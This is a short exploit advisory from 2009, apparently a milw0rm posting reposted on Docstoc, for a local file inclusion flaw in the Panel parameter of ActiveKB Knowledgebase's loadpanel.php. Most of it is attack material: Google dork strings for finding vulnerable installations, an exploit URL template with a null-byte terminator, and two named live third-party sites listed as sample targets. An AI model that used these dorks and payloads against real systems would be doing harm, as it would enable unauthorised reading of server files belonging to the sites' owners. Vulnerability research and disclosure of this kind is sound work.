Docstoc

ActiveKB Knowledgebase loadpanel.php Panel Local File Inclusion Vuln

Document Sample
ActiveKB Knowledgebase loadpanel.php Panel Local File Inclusion Vuln Powered By Docstoc
					                ActiveKB Knowledgebase loadpanel.php Panel Local File Inclusion Vuln                Page 1/1
  1    [o]−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[x]
  2     | Local File Inclusion Vulnerability                                                   |
  3    [o]−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[o]
  4     | Software : ActiveKB Knowledgebase version X.X                                        |
  5     | Vendor     : http://www.interspire.com/activekb/                                     |
  6     | Date          : 02 April 2009                                                        |
  7     | Author      : Angela Chang                                                           |
  8     | Contact    : mizz_4ng3l@yahoo.com                                                    |
  9    [o]−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[o]
  10
  11   [»] Google Dork
  12
  13       "Powered by ActiveKB Knowledgebase Software"
  14       inurl:loadpanel.php?Panel=
  15
  16   [»] Vulnerable
  17
  18       ./loadpanel.php
  19
  20   [»] Exploit
  21
  22       http://[site]/[path]/loadpanel.php?Panel=[LFI]%00
  23
  24   [»] Sample
  25
  26       http://help.theedweb.com/activekb/loadpanel.php?Panel=[LFI]%00
  27       http://my.myriadnetwork.com/kb//loadpanel.php?Panel=[LFI]%00
  28
  29   [o]−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[x]
  30    | Greetz      :    Speciale Thanks FoR :                                               |
  31   [o]−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[o]
  32    |    −−−−−−−− Vrs−hCk , Nyubi (Solpot) , OoN_Boy      −−−−−−−−−−                       |
  33   [o]−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[o]
  34
  35   # milw0rm.com [2009−04−03]




Angela Chang                                                                                        04/03/2009

				
DOCUMENT INFO